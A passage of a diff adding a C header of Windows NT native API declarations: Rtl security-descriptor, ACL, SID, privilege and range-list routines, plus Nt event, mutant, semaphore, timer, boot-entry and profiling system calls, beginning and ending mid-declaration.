+RtlSubAuthorityCountSid ( + PSID Sid + ); + +ULONG +NTAPI +RtlLengthSid ( + PSID Sid + ); + +NTSTATUS +NTAPI +RtlCopySid ( + ULONG DestinationSidLength, + PSID DestinationSid, + PSID SourceSid + ); + +NTSTATUS +NTAPI +RtlCopySidAndAttributesArray ( + ULONG ArrayLength, + PSID_AND_ATTRIBUTES Source, + ULONG TargetSidBufferSize, + PSID_AND_ATTRIBUTES TargetArrayElement, + PSID TargetSid, + PSID *NextTargetSid, + PULONG RemainingTargetSidSize + ); + +NTSTATUS +NTAPI +RtlLengthSidAsUnicodeString( + PSID Sid, + PULONG StringLength + ); + +NTSTATUS +NTAPI +RtlConvertSidToUnicodeString( + PUNICODE_STRING UnicodeString, + PSID Sid, + BOOLEAN AllocateDestinationString + ); + +VOID +NTAPI +RtlCopyLuid ( + PLUID DestinationLuid, + PLUID SourceLuid + ); + +VOID +NTAPI +RtlCopyLuidAndAttributesArray ( + ULONG ArrayLength, + PLUID_AND_ATTRIBUTES Source, + PLUID_AND_ATTRIBUTES Target + ); + +BOOLEAN +NTAPI +RtlAreAllAccessesGranted( + ACCESS_MASK GrantedAccess, + ACCESS_MASK DesiredAccess + ); + +BOOLEAN +NTAPI +RtlAreAnyAccessesGranted( + ACCESS_MASK GrantedAccess, + ACCESS_MASK DesiredAccess + ); + +VOID +NTAPI +RtlMapGenericMask( + PACCESS_MASK AccessMask, + PGENERIC_MAPPING GenericMapping + ); + +NTSTATUS +NTAPI +RtlCreateAcl( + OUT PACL Acl, + IN ULONG AclLength, + IN ULONG AclRevision + ); + +BOOLEAN +NTAPI +RtlValidAcl( + PACL Acl + ); + +NTSTATUS +NTAPI +RtlQueryInformationAcl( + PACL Acl, + PVOID AclInformation, + ULONG AclInformationLength, + ACL_INFORMATION_CLASS AclInformationClass + ); + +NTSTATUS +NTAPI +RtlSetInformationAcl( + PACL Acl, + PVOID AclInformation, + ULONG AclInformationLength, + ACL_INFORMATION_CLASS AclInformationClass + ); + +NTSTATUS +NTAPI +RtlAddAce( + PACL Acl, + ULONG AceRevision, + ULONG StartingAceIndex, + PVOID AceList, + ULONG AceListLength + ); + +NTSTATUS +NTAPI +RtlDeleteAce( + PACL Acl, + ULONG AceIndex + ); + +NTSTATUS +NTAPI +RtlGetAce( + PACL Acl, + ULONG AceIndex, + PVOID *Ace + ); + +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor( + IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID Owner, + IN OPTIONAL BOOLEAN OwnerDefaulted + ); + +NTSTATUS +NTAPI +RtlGetOwnerSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PSID *Owner, + OUT PBOOLEAN OwnerDefaulted + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedObjectAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ACCESS_MASK AccessMask, + IN GUID *ObjectTypeGuid OPTIONAL, + IN GUID *InheritedObjectTypeGuid OPTIONAL, + IN PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedObjectAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ACCESS_MASK AccessMask, + IN GUID *ObjectTypeGuid OPTIONAL, + IN GUID *InheritedObjectTypeGuid OPTIONAL, + IN PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessObjectAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ACCESS_MASK AccessMask, + IN GUID *ObjectTypeGuid OPTIONAL, + IN GUID *InheritedObjectTypeGuid OPTIONAL, + IN PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +BOOLEAN +NTAPI +RtlFirstFreeAce( + PACL Acl, + PVOID *FirstFree + ); + +NTSTATUS +NTAPI +RtlAddCompoundAce( + IN PACL Acl, + IN ULONG AceRevision, + IN UCHAR AceType, + IN ACCESS_MASK AccessMask, + IN PSID ServerSid, + IN PSID ClientSid + ); + +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor, + ULONG Revision + ); + +NTSTATUS +NTAPI +RtlCreateSecurityDescriptorRelative( + PISECURITY_DESCRIPTOR_RELATIVE SecurityDescriptor, + ULONG Revision + ); + +BOOLEAN +NTAPI +RtlValidSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +ULONG +NTAPI +RtlLengthSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +BOOLEAN +NTAPI +RtlValidRelativeSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptorInput, + IN ULONG SecurityDescriptorLength, + IN SECURITY_INFORMATION RequiredInformation + ); + +NTSTATUS +NTAPI +RtlGetControlSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + PSECURITY_DESCRIPTOR_CONTROL Control, + PULONG Revision + ); + +NTSTATUS +NTAPI +RtlSetControlSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR pSecurityDescriptor, + IN SECURITY_DESCRIPTOR_CONTROL ControlBitsOfInterest, + IN SECURITY_DESCRIPTOR_CONTROL ControlBitsToSet + ); + +NTSTATUS +NTAPI +RtlSetAttributesSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN SECURITY_DESCRIPTOR_CONTROL Control, + IN OUT PULONG Revision + ); + +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + BOOLEAN DaclPresent, + PACL Dacl, + BOOLEAN DaclDefaulted + ); + +NTSTATUS +NTAPI +RtlGetDaclSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PBOOLEAN DaclPresent, + OUT PACL *Dacl, + OUT PBOOLEAN DaclDefaulted + ); + +BOOLEAN +NTAPI +RtlGetSecurityDescriptorRMControl( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PUCHAR RMControl + ); + +VOID +NTAPI +RtlSetSecurityDescriptorRMControl( + IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN PUCHAR RMControl OPTIONAL + ); + +NTSTATUS +NTAPI +RtlSetSaclSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + BOOLEAN SaclPresent, + PACL Sacl, + BOOLEAN SaclDefaulted + ); + +NTSTATUS +NTAPI +RtlGetSaclSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PBOOLEAN SaclPresent, + OUT PACL *Sacl, + OUT PBOOLEAN SaclDefaulted + ); + +NTSTATUS +NTAPI +RtlSetGroupSecurityDescriptor ( + IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN PSID Group OPTIONAL, + IN BOOLEAN GroupDefaulted OPTIONAL + ); + +NTSTATUS +NTAPI +RtlGetGroupSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PSID *Group, + OUT PBOOLEAN GroupDefaulted + ); + +NTSTATUS +NTAPI +RtlMakeSelfRelativeSD ( + IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + IN OUT PULONG BufferLength + ); + +NTSTATUS +NTAPI +RtlAbsoluteToSelfRelativeSD ( + IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + IN OUT PULONG BufferLength + ); + +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD ( + IN PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + OUT OPTIONAL PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + IN OUT PULONG AbsoluteSecurityDescriptorSize, + OUT OPTIONAL PACL Dacl, + IN OUT PULONG DaclSize, + OUT OPTIONAL PACL Sacl, + IN OUT PULONG SaclSize, + OUT OPTIONAL PSID Owner, + IN OUT PULONG OwnerSize, + OUT OPTIONAL PSID PrimaryGroup, + IN OUT PULONG PrimaryGroupSize + ); + +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD2 ( + IN OUT PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, + IN OUT PULONG pBufferSize + ); + +NTSTATUS +NTAPI +RtlNewSecurityGrantedAccess ( + ACCESS_MASK DesiredAccess, + PPRIVILEGE_SET Privileges, + PULONG Length, + HANDLE Token, + PGENERIC_MAPPING GenericMapping, + PACCESS_MASK RemainingDesiredAccess + ); + +NTSTATUS +NTAPI +RtlMapSecurityErrorToNtStatus ( + SECURITY_STATUS Error + ); + +NTSTATUS +NTAPI +RtlImpersonateSelf ( + IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel + ); + +NTSTATUS +NTAPI +RtlAdjustPrivilege ( + ULONG Privilege, + BOOLEAN Enable, + BOOLEAN Client, + PBOOLEAN WasEnabled + ); + +NTSTATUS +NTAPI +RtlAcquirePrivilege ( + PULONG Privilege, + ULONG NumPriv, + ULONG Flags, + PVOID *ReturnedState + ); + +VOID +NTAPI +RtlReleasePrivilege ( + PVOID StatePointer + ); + +VOID +NTAPI +RtlRunEncodeUnicodeString( + PUCHAR Seed OPTIONAL, + PUNICODE_STRING String + ); + +VOID +NTAPI +RtlRunDecodeUnicodeString( + UCHAR Seed, + PUNICODE_STRING String + ); + +VOID +NTAPI +RtlEraseUnicodeString( + PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlFindMessage( + PVOID DllHandle, + ULONG MessageTableId, + ULONG MessageLanguageId, + ULONG MessageId, + PMESSAGE_RESOURCE_ENTRY *MessageEntry + ); + +NTSTATUS +NTAPI +RtlFormatMessage( + IN PWSTR MessageFormat, + IN ULONG MaximumWidth, + IN BOOLEAN IgnoreInserts, + IN BOOLEAN ArgumentsAreAnsi, + IN BOOLEAN ArgumentsAreAnArray, + IN va_list *Arguments, + OUT PWSTR Buffer, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength + ); + +NTSTATUS +NTAPI +RtlFormatMessageEx( + IN PWSTR MessageFormat, + IN ULONG MaximumWidth, + IN BOOLEAN IgnoreInserts, + IN BOOLEAN ArgumentsAreAnsi, + IN BOOLEAN ArgumentsAreAnArray, + IN va_list *Arguments, + OUT PWSTR Buffer, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength, + OUT OPTIONAL PPARSE_MESSAGE_CONTEXT ParseContext + ); + +NTSTATUS +NTAPI +RtlInitializeRXact( + IN HANDLE RootRegistryKey, + IN BOOLEAN CommitIfNecessary, + OUT PRTL_RXACT_CONTEXT *RXactContext + ); + +NTSTATUS +NTAPI +RtlStartRXact( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlAbortRXact( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlAddAttributeActionToRXact( + IN PRTL_RXACT_CONTEXT RXactContext, + IN RTL_RXACT_OPERATION Operation, + IN PUNICODE_STRING SubKeyName, + IN HANDLE KeyHandle, + IN PUNICODE_STRING AttributeName, + IN ULONG NewValueType, + IN PVOID NewValue, + IN ULONG NewValueLength + ); + +NTSTATUS +NTAPI +RtlAddActionToRXact( + IN PRTL_RXACT_CONTEXT RXactContext, + IN RTL_RXACT_OPERATION Operation, + IN PUNICODE_STRING SubKeyName, + IN ULONG NewKeyValueType, + IN PVOID NewKeyValue OPTIONAL, + IN ULONG NewKeyValueLength + ); + +NTSTATUS +NTAPI +RtlApplyRXact( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlApplyRXactNoFlush( + IN PRTL_RXACT_CONTEXT RXactContext + ); + +ULONG +NTAPI +RtlNtStatusToDosError ( + NTSTATUS Status + ); + +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb ( + NTSTATUS Status + ); + +PPEB +RtlGetCurrentPeb ( + VOID + ); + +NTSTATUS +NTAPI +RtlCustomCPToUnicodeN( + IN PCPTABLEINFO CustomCP, + OUT PWCH UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString, + IN PCH CustomCPString, + IN ULONG BytesInCustomCPString + ); + +NTSTATUS +NTAPI +RtlUnicodeToCustomCPN( + IN PCPTABLEINFO CustomCP, + OUT PCH CustomCPString, + IN ULONG MaxBytesInCustomCPString, + OUT OPTIONAL PULONG BytesInCustomCPString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToCustomCPN( + IN PCPTABLEINFO CustomCP, + OUT PCH CustomCPString, + IN ULONG MaxBytesInCustomCPString, + OUT OPTIONAL PULONG BytesInCustomCPString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +VOID +NTAPI +RtlInitCodePageTable( + IN PUSHORT TableBase, + OUT PCPTABLEINFO CodePageTable + ); + +VOID +NTAPI +RtlInitNlsTables( + IN PUSHORT AnsiNlsBase, + IN PUSHORT OemNlsBase, + IN PUSHORT LanguageNlsBase, + OUT PNLSTABLEINFO TableInfo + ); + +VOID +NTAPI +RtlResetRtlTranslations( + PNLSTABLEINFO TableInfo + ); + +VOID +NTAPI +RtlGetDefaultCodePage( + OUT PUSHORT AnsiCodePage, + OUT PUSHORT OemCodePage + ); + +VOID +NTAPI +RtlInitializeRangeList( + IN OUT PRTL_RANGE_LIST RangeList + ); + +VOID +NTAPI +RtlFreeRangeList( + IN PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlCopyRangeList( + OUT PRTL_RANGE_LIST CopyRangeList, + IN PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlAddRange( + IN OUT PRTL_RANGE_LIST RangeList, + IN ULONGLONG Start, + IN ULONGLONG End, + IN UCHAR Attributes, + IN ULONG Flags, + IN PVOID UserData, OPTIONAL + IN PVOID Owner OPTIONAL + ); + +NTSTATUS +NTAPI +RtlDeleteRange( + IN OUT PRTL_RANGE_LIST RangeList, + IN ULONGLONG Start, + IN ULONGLONG End, + IN PVOID Owner + ); + +NTSTATUS +NTAPI +RtlDeleteOwnersRanges( + IN OUT PRTL_RANGE_LIST RangeList, + IN PVOID Owner + ); + +NTSTATUS +NTAPI +RtlFindRange( + IN PRTL_RANGE_LIST RangeList, + IN ULONGLONG Minimum, + IN ULONGLONG Maximum, + IN ULONG Length, + IN ULONG Alignment, + IN ULONG Flags, + IN UCHAR AttributeAvailableMask, + IN PVOID Context OPTIONAL, + IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, + OUT PULONGLONG Start + ); + +NTSTATUS +NTAPI +RtlIsRangeAvailable( + IN PRTL_RANGE_LIST RangeList, + IN ULONGLONG Start, + IN ULONGLONG End, + IN ULONG Flags, + IN UCHAR AttributeAvailableMask, + IN PVOID Context OPTIONAL, + IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, + OUT PBOOLEAN Available + ); + +NTSTATUS +NTAPI +RtlGetFirstRange( + IN PRTL_RANGE_LIST RangeList, + OUT PRTL_RANGE_LIST_ITERATOR Iterator, + OUT PRTL_RANGE *Range + ); + +NTSTATUS +NTAPI +RtlGetLastRange( + IN PRTL_RANGE_LIST RangeList, + OUT PRTL_RANGE_LIST_ITERATOR Iterator, + OUT PRTL_RANGE *Range + ); + +NTSTATUS +NTAPI +RtlGetNextRange( + IN OUT PRTL_RANGE_LIST_ITERATOR Iterator, + OUT PRTL_RANGE *Range, + IN BOOLEAN MoveForwards + ); + +NTSTATUS +NTAPI +RtlMergeRangeLists( + OUT PRTL_RANGE_LIST MergedRangeList, + IN PRTL_RANGE_LIST RangeList1, + IN PRTL_RANGE_LIST RangeList2, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlInvertRangeList( + OUT PRTL_RANGE_LIST InvertedRangeList, + IN PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlVolumeDeviceToDosName( + IN PVOID VolumeDeviceObject, + OUT PUNICODE_STRING DosName + ); + +NTSTATUS +NTAPI +RtlCreateSystemVolumeInformationFolder( + IN PUNICODE_STRING VolumeRootPath + ); + +#if defined(_WINNT_) && (_MSC_VER < 1300) +typedef POSVERSIONINFOW PRTL_OSVERSIONINFOW; +typedef POSVERSIONINFOEXW PRTL_OSVERSIONINFOEXW; + +typedef LONG (NTAPI *PVECTORED_EXCEPTION_HANDLER)( struct _EXCEPTION_POINTERS *ExceptionInfo ); +typedef VOID (NTAPI * APC_CALLBACK_FUNCTION) (DWORD , PVOID, PVOID); + +typedef const GUID *LPCGUID; + +#endif + +NTSTATUS +NTAPI +RtlGetVersion( + OUT PRTL_OSVERSIONINFOW lpVersionInformation + ); + +NTSTATUS +RtlVerifyVersionInfo( + IN PRTL_OSVERSIONINFOEXW VersionInfo, + IN ULONG TypeMask, + IN ULONGLONG ConditionMask + ); + +BOOLEAN +RtlFlushSecureMemoryCache( + PVOID lpAddr, + SIZE_T size + ); + +LONG +NTAPI +RtlGetLastWin32Error( + VOID + ); + +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + NTSTATUS Status + ); + +VOID +NTAPI +RtlSetLastWin32Error( + LONG Win32Error + ); + +VOID +NTAPI +RtlRestoreLastWin32Error( + LONG Win32Error + ); + +NTSTATUS +NTAPI +RtlGetSetBootStatusData( + IN HANDLE Handle, + IN BOOLEAN Get, + IN RTL_BSD_ITEM_TYPE DataItem, + IN PVOID DataBuffer, + IN ULONG DataBufferLength, + OUT PULONG ByteRead OPTIONAL + ); + +NTSTATUS +NTAPI +RtlLockBootStatusData( + OUT PHANDLE BootStatusDataHandle + ); + +VOID +NTAPI +RtlUnlockBootStatusData( + IN HANDLE BootStatusDataHandle + ); + +NTSTATUS +NTAPI +RtlCreateBootStatusDataFile( + VOID + ); + +// + +// +// begin_ntapi +NTSTATUS +NTAPI +NtDelayExecution( + IN BOOLEAN Alertable, + IN PLARGE_INTEGER DelayInterval + ); + + +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + OUT PWSTR VariableValue, + IN USHORT ValueLength, + OUT OPTIONAL PUSHORT ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetSystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + IN PUNICODE_STRING VariableValue + ); + + +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + OUT OPTIONAL PVOID Value, + IN OUT PULONG ValueLength, + OUT OPTIONAL PULONG Attributes + ); + + +NTSTATUS +NTAPI +NtSetSystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + IN OPTIONAL PVOID Value, + IN ULONG ValueLength, + IN ULONG Attributes + ); + + +NTSTATUS +NTAPI +NtEnumerateSystemEnvironmentValuesEx ( + IN ULONG InformationClass, + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtAddBootEntry ( + IN PBOOT_ENTRY BootEntry, + OUT OPTIONAL PULONG Id + ); + + +NTSTATUS +NTAPI +NtDeleteBootEntry ( + IN ULONG Id + ); + + +NTSTATUS +NTAPI +NtModifyBootEntry ( + IN PBOOT_ENTRY BootEntry + ); + + +NTSTATUS +NTAPI +NtEnumerateBootEntries ( + OUT OPTIONAL PVOID Buffer, + IN OUT PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtQueryBootEntryOrder ( + OUT OPTIONAL PULONG Ids, + IN OUT PULONG Count + ); + + +NTSTATUS +NTAPI +NtSetBootEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + +NTSTATUS +NTAPI +NtQueryBootOptions ( + OUT OPTIONAL PBOOT_OPTIONS BootOptions, + IN OUT PULONG BootOptionsLength + ); + + +NTSTATUS +NTAPI +NtSetBootOptions ( + IN PBOOT_OPTIONS BootOptions, + IN ULONG FieldsToChange + ); + + +NTSTATUS +NTAPI +NtTranslateFilePath ( + IN PFILE_PATH InputFilePath, + IN ULONG OutputType, + OUT OPTIONAL PFILE_PATH OutputFilePath, + IN OUT OPTIONAL PULONG OutputFilePathLength + ); + + +NTSTATUS +NTAPI +NtAddDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry, + OUT OPTIONAL PULONG Id + ); + + +NTSTATUS +NTAPI +NtDeleteDriverEntry ( + IN ULONG Id + ); + + +NTSTATUS +NTAPI +NtModifyDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry + ); + + +NTSTATUS +NTAPI +NtEnumerateDriverEntries ( + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtQueryDriverEntryOrder ( + OUT PULONG Ids, + IN OUT PULONG Count + ); + + +NTSTATUS +NTAPI +NtSetDriverEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + +NTSTATUS +NTAPI +NtClearEvent ( + IN HANDLE EventHandle + ); + + +NTSTATUS +NTAPI +NtCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + +NTSTATUS +NTAPI +NtOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtPulseEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInformationClass, + OUT PVOID EventInformation, + IN ULONG EventInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtResetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtSetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtSetEventBoostPriority ( + IN HANDLE EventHandle + ); + + +NTSTATUS +NTAPI +NtCreateEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetLowWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetHighWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetLowEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetHighEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtCreateMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN InitialOwner + ); + + +NTSTATUS +NTAPI +NtOpenMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryMutant ( + IN HANDLE MutantHandle, + IN MUTANT_INFORMATION_CLASS MutantInformationClass, + OUT PVOID MutantInformation, + IN ULONG MutantInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtReleaseMutant ( + IN HANDLE MutantHandle, + OUT OPTIONAL PLONG PreviousCount + ); + + +NTSTATUS +NTAPI +NtCreateSemaphore ( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN LONG InitialCount, + IN LONG MaximumCount + ); + + +NTSTATUS +NTAPI +NtOpenSemaphore( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQuerySemaphore ( + IN HANDLE SemaphoreHandle, + IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + OUT PVOID SemaphoreInformation, + IN ULONG SemaphoreInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtReleaseSemaphore( + IN HANDLE SemaphoreHandle, + IN LONG ReleaseCount, + OUT OPTIONAL PLONG PreviousCount + ); + + +NTSTATUS +NTAPI +NtCreateTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TIMER_TYPE TimerType + ); + + +NTSTATUS +NTAPI +NtOpenTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtCancelTimer ( + IN HANDLE TimerHandle, + OUT OPTIONAL PBOOLEAN CurrentState + ); + + +NTSTATUS +NTAPI +NtQueryTimer ( + IN HANDLE TimerHandle, + IN TIMER_INFORMATION_CLASS TimerInformationClass, + OUT PVOID TimerInformation, + IN ULONG TimerInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetTimer ( + IN HANDLE TimerHandle, + IN PLARGE_INTEGER DueTime, + IN OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine, + IN OPTIONAL PVOID TimerContext, + IN BOOLEAN ResumeTimer, + IN OPTIONAL LONG Period, + OUT OPTIONAL PBOOLEAN PreviousState + ); + + +NTSTATUS +NTAPI +NtQuerySystemTime ( + OUT PLARGE_INTEGER SystemTime + ); + + +NTSTATUS +NTAPI +NtSetSystemTime ( + IN OPTIONAL PLARGE_INTEGER SystemTime, + OUT OPTIONAL PLARGE_INTEGER PreviousTime + ); + + +NTSTATUS +NTAPI +NtQueryTimerResolution ( + OUT PULONG MaximumTime, + OUT PULONG MinimumTime, + OUT PULONG CurrentTime + ); + + +NTSTATUS +NTAPI +NtSetTimerResolution ( + IN ULONG DesiredTime, + IN BOOLEAN SetResolution, + OUT PULONG ActualTime + ); + + +NTSTATUS +NTAPI +NtAllocateLocallyUniqueId ( + OUT PLUID Luid + ); + + +NTSTATUS +NTAPI +NtSetUuidSeed ( + IN PCHAR Seed + ); + + +NTSTATUS +NTAPI +NtAllocateUuids ( + OUT PULARGE_INTEGER Time, + OUT PULONG Range, + OUT PULONG Sequence, + OUT PCHAR Seed + ); + + +NTSTATUS +NTAPI +NtCreateProfile ( + OUT PHANDLE ProfileHandle, + IN HANDLE Process OPTIONAL, + IN PVOID ProfileBase, + IN SIZE_T ProfileSize, + IN ULONG BucketSize, + IN PULONG Buffer, + IN ULONG BufferSize, + IN KPROFILE_SOURCE ProfileSource, + IN KAFFINITY Affinity + ); + + +NTSTATUS +NTAPI +NtStartProfile ( + IN HANDLE ProfileHandle + ); + + +NTSTATUS +NTAPI +NtStopProfile ( + IN HANDLE ProfileHandle + ); + + +NTSTATUS +NTAPI +NtSetIntervalProfile ( + IN ULONG Interval, + IN KPROFILE_SOURCE Source + ); + + +NTSTATUS +NTAPI +NtQueryIntervalProfile ( + IN KPROFILE_SOURCE ProfileSource, + OUT PULONG Interval + ); + + +NTSTATUS +NTAPI +NtQueryPerformanceCounter ( + OUT PLARGE_INTEGER PerformanceCounter, + OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency + ); + + +NTSTATUS +NTAPI +NtCreateKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtOpenKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtReleaseKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER 